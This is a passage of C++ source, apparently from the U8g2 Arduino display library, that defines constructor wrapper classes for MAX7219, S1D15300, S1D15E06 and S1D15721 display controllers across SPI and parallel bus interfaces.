u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_32X8_1_4W_SW_SPI : public U8G2 { public: U8G2_MAX7219_32X8_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_32x8_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_MAX7219_32X8_1_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_32X8_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_32x8_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_32X8_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_32X8_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_32x8_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_32X8_2_4W_SW_SPI : public U8G2 { public: U8G2_MAX7219_32X8_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_32x8_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_MAX7219_32X8_2_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_32X8_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_32x8_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_32X8_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_32X8_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_32x8_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_32X8_F_4W_SW_SPI : public U8G2 { public: U8G2_MAX7219_32X8_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_32x8_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_MAX7219_32X8_F_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_32X8_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_32x8_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_32X8_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_32X8_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_32x8_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_8X8_1_4W_SW_SPI : public U8G2 { public: U8G2_MAX7219_8X8_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_8x8_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_MAX7219_8X8_1_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_8X8_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_8x8_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_8X8_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_8X8_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_8x8_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_8X8_2_4W_SW_SPI : public U8G2 { public: U8G2_MAX7219_8X8_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_8x8_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_MAX7219_8X8_2_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_8X8_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_8x8_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_8X8_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_8X8_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_8x8_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_8X8_F_4W_SW_SPI : public U8G2 { public: U8G2_MAX7219_8X8_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_8x8_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_MAX7219_8X8_F_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_8X8_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_8x8_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_8X8_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_8X8_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_8x8_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15300_LM6023_1_4W_SW_SPI : public U8G2 { public: U8G2_S1D15300_LM6023_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_S1D15300_LM6023_1_4W_HW_SPI : public U8G2 { public: U8G2_S1D15300_LM6023_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15300_LM6023_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_S1D15300_LM6023_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15300_LM6023_1_6800 : public U8G2 { public: U8G2_S1D15300_LM6023_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15300_LM6023_1_8080 : public U8G2 { public: U8G2_S1D15300_LM6023_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15300_LM6023_2_4W_SW_SPI : public U8G2 { public: U8G2_S1D15300_LM6023_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_S1D15300_LM6023_2_4W_HW_SPI : public U8G2 { public: U8G2_S1D15300_LM6023_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15300_LM6023_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_S1D15300_LM6023_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15300_LM6023_2_6800 : public U8G2 { public: U8G2_S1D15300_LM6023_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15300_LM6023_2_8080 : public U8G2 { public: U8G2_S1D15300_LM6023_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15300_LM6023_F_4W_SW_SPI : public U8G2 { public: U8G2_S1D15300_LM6023_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_S1D15300_LM6023_F_4W_HW_SPI : public U8G2 { public: U8G2_S1D15300_LM6023_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15300_LM6023_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_S1D15300_LM6023_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15300_LM6023_F_6800 : public U8G2 { public: U8G2_S1D15300_LM6023_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15300_LM6023_F_8080 : public U8G2 { public: U8G2_S1D15300_LM6023_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15300_lm6023_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15E06_160100_1_4W_SW_SPI : public U8G2 { public: U8G2_S1D15E06_160100_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_S1D15E06_160100_1_4W_HW_SPI : public U8G2 { public: U8G2_S1D15E06_160100_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15E06_160100_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_S1D15E06_160100_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15E06_160100_1_6800 : public U8G2 { public: U8G2_S1D15E06_160100_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15E06_160100_1_8080 : public U8G2 { public: U8G2_S1D15E06_160100_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15E06_160100_2_4W_SW_SPI : public U8G2 { public: U8G2_S1D15E06_160100_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_S1D15E06_160100_2_4W_HW_SPI : public U8G2 { public: U8G2_S1D15E06_160100_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15E06_160100_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_S1D15E06_160100_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15E06_160100_2_6800 : public U8G2 { public: U8G2_S1D15E06_160100_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15E06_160100_2_8080 : public U8G2 { public: U8G2_S1D15E06_160100_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15E06_160100_F_4W_SW_SPI : public U8G2 { public: U8G2_S1D15E06_160100_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_S1D15E06_160100_F_4W_HW_SPI : public U8G2 { public: U8G2_S1D15E06_160100_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15E06_160100_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_S1D15E06_160100_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15E06_160100_F_6800 : public U8G2 { public: U8G2_S1D15E06_160100_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15E06_160100_F_8080 : public U8G2 { public: U8G2_S1D15E06_160100_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15e06_160100_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15721_240X64_1_4W_SW_SPI : public U8G2 { public: U8G2_S1D15721_240X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_S1D15721_240X64_1_4W_HW_SPI : public U8G2 { public: U8G2_S1D15721_240X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15721_240X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_S1D15721_240X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15721_240X64_1_6800 : public U8G2 { public: U8G2_S1D15721_240X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15721_240X64_1_8080 : public U8G2 { public: U8G2_S1D15721_240X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15721_240X64_2_4W_SW_SPI : public U8G2 { public: U8G2_S1D15721_240X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_S1D15721_240X64_2_4W_HW_SPI : public U8G2 { public: U8G2_S1D15721_240X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15721_240X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_S1D15721_240X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15721_240X64_2_6800 : public U8G2 { public: U8G2_S1D15721_240X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class 